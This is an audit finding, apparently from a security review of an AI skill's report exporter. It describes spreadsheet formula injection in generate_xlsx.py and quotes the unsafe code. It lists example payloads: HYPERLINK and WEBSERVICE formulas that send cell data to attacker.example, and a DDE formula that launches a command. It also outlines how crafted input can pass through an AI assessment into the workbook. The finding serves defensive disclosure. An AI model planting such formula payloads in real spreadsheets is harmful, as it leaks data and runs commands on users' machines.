T09 · Insecure Skill Coding Practices
- Location
scripts/generate_xlsx.py:187- Finding
Spreadsheet Formula Injection Through Untrusted Report Data
- Content
View full analysis
= 13 else t + [""] * (13 - len(t)) ws1.append(row) ``` The same unsafe data flow also affects mitigation records: ```python mitigations = _parse_table_rows(phase7, ["Mitigation ID", "Catalog ID"], 4) for m in mitigations[:300]: row = m[:8] if len(m) >= 8 else m + [""] * (8 - len(m)) ws3.append(row) ``` ### Technical Analysis The exporter reads Markdown threat and mitigation tables and writes their cells directly into an XLSX workbook without neutralizing spreadsheet formula prefixes. In `openpyxl`, a string beginning with `=` is stored as a formula rather than as literal text. The Skill explicitly processes untrusted project source code and user-supplied assessment information. Values derived from such content can consequently propagate into `06-threat-register.md`, `07-mitigations.md`, or `01-mvtm-checklist.md`, and then into the generated workbook. Potentially dangerous values include: ```text =HYPERLINK("https://attacker.example/collect?data="&A1,"Open report") =WEBSERVICE("https://attacker.example/collect?value="&A1) =CMD|' /C calc'!A0 ``` Actual behavior depends on the spreadsheet application, platform, security configuration, protected-view settings, and whether external content or legacy DDE features are enabled. The vulnerability does not itself execute operating-system commands during workbook generation. ### Attack Path 1. An attacker places a crafted value beginning with `=` into source material, project metadata, architecture descriptions, threat names, mitigation descriptions, or other assessment input. 2. The AI assessment process copies or summarizes the crafted value into a Markdown table in `06-threat-r ...[truncated 1439 chars]- Remediation
View remediation
